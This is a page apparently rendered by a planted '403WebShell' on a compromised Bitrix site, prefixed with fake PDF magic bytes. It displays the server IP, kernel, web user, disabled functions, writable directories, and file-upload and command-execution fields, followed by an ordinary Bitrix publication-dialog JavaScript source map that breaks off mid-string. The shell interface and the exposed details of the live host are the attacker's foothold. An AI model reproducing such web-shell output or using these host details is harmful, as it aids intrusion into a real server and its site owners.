%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.100.245
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/dialog/publication/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/dialog/publication/dist/publication.bundle.js.map
{"version":3,"file":"publication.bundle.js","sources":["../src/publication.js"],"sourcesContent":["import { Tag, Uri } from 'main.core';\n\ntype PublicationOptions = {\n\tsiteId: number,\n\tlandingId: number,\n\turl: string\n};\n\ntype AjaxResult = {\n\ttype: string,\n\tresult: any\n};\n\nexport class Publication\n{\n\tstatic instance: ?Publication = null;\n\tdialog: ?BX.PopupWindow = null;\n\tsiteId: number;\n\tlandingId: number;\n\turl: string;\n\n\tconstructor(options: PublicationOptions)\n\t{\n\t\tthis.siteId = options.siteId;\n\t\tthis.landingId = options.landingId;\n\t\tthis.url = options.url;\n\t}\n\n\tstatic getInstance(options: PublicationOptions): Publication\n\t{\n\t\tif (!Publication.instance)\n\t\t{\n\t\t\tPublication.instance = new Publication(options);\n\t\t}\n\t\treturn Publication.instance;\n\t}\n\n\tpublication(mode: string)\n\t{\n\t\tconst action = (mode === 'site') ? 'Site::publication' : 'Landing::publication';\n\t\tconst data = {\n\t\t\tdata: (mode === 'site')\n\t\t\t? {\n\t\t\t\tid: this.siteId\n\t\t\t}\n\t\t\t: {\n\t\t\t\tlid: this.landingId\n\t\t\t},\n\t\t\tactionType: 'rest',\n\t\t\tsessid: BX.message('bitrix_sessid')\n\t\t};\n\n\t\tthis.renderPopup();\n\n\t\tBX.ajax({\n\t\t\turl: Uri.addParam(window.location.href, {action}),\n\t\t\tdata,\n\t\t\tdataType: 'json',\n\t\t\tmethod: 'POST',\n\t\t\tonsuccess: (result: AjaxResult) => {\n\t\t\t\tif (result.type === 'error')\n\t\t\t\t{\n\t\t\t\t\tconsole.log(result.result);\n\t\t\t\t\tthis.renderErrorPopupContent(result.result[0].error_description);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tthis.renderSuccessPopupContent();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\n\trenderPopup()\n\t{\n\t\tif (!this.dialog)\n\t\t{\n\t\t\tthis.dialog = new BX.PopupWindow('landing-publication-confirm', null, {\n\t\t\t\tcontent: '',\n\t\t\t\ttitleBar: {content: 'Publication'},\n\t\t\t\toffsetLeft: 0,\n\t\t\t\toffsetTop: 0,\n\t\t\t\tbuttons: [\n\t\t\t\t\tnew BX.PopupWindowButton({\n\t\t\t\t\t\ttext: 'OK',\n\t\t\t\t\t\tevents: {\n\t\t\t\t\t\t\tclick: function()\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tthis.popupWindow.close();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t]\n\t\t\t});\n\t\t}\n\n\t\tthis.renderWaitPopupContent();\n\t\tthis.dialog.show();\n\t}\n\n\trenderContent(status: HTMLElement)\n\t{\n\t\tthis.dialog.setContent(Tag.render`\n\t\t\t<div class=\"ui-publication\">\n\t\t\t\t<div>Publication dialog</div>\n\t\t\t\t<div>URL: <a href=\"${this.url}\" target=\"_blank\">${this.url}</a></div>\n\t\t\t\t${status}\n\t\t\t</div>\n\t\t`);\n\t}\n\n\trenderWaitPopupContent()\n\t{\n\t\tthis.renderContent(Tag.render`\n\t\t\t<span class=\"ui-publication-name\">Please wait...</span>\n\t\t`);\n\t}\n\n\trenderSuccessPopupContent()\n\t{\n\t\tthis.renderContent(Tag.render`\n\t\t\t<span class=\"ui-publication-name\">SUCCESS!</span>\n\t\t`);\n\t}\n\n\trenderErrorPopupContent(error: string)\n\t{\n\t\tthis.renderContent(Tag.render`\n\t\t\t<span class=\"ui-publication-name\">ERROR! ${error}</span>\n\t\t`);\n\t}\n}"],"names":["Publication","options","siteId","landingId","url","mode","action","data","id","lid","actionType","sessid","BX","message","renderPopup","ajax","Uri","addParam","window","location","href","dataType","method","onsuccess","result","type","console","log","renderErrorPopupContent","error_description","renderSuccessPopupContent","dialog","PopupWindow","content","titleBar","offsetLeft","offsetTop","buttons","PopupWindowButton","text","events","click","popupWindow","close","renderWaitPopupContent","show","status","setContent","Tag","render","renderContent","error","instance"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;KAaaA,WAAb;CAQC,uBAAYC,OAAZ,EACA;CAAA;CAAA,gDAN0B,IAM1B;CACC,SAAKC,MAAL,GAAcD,OAAO,CAACC,MAAtB;CACA,SAAKC,SAAL,GAAiBF,OAAO,CAACE,SAAzB;CACA,SAAKC,GAAL,GAAWH,OAAO,CAACG,GAAnB;CACA;;CAbF;CAAA;CAAA,gCAwBaC,IAxBb,EAyBC;CAAA;;CACC,UAAMC,MAAM,GAAID,IAAI,KAAK,MAAV,GAAoB,mBAApB,GAA0C,sBAAzD;CACA,UAAME,IAAI,GAAG;CACZA,QAAAA,IAAI,EAAGF,IAAI,KAAK,MAAV,GACJ;CACDG,UAAAA,EAAE,EAAE,KAAKN;CADR,SADI,GAIJ;CACDO,UAAAA,GAAG,EAAE,K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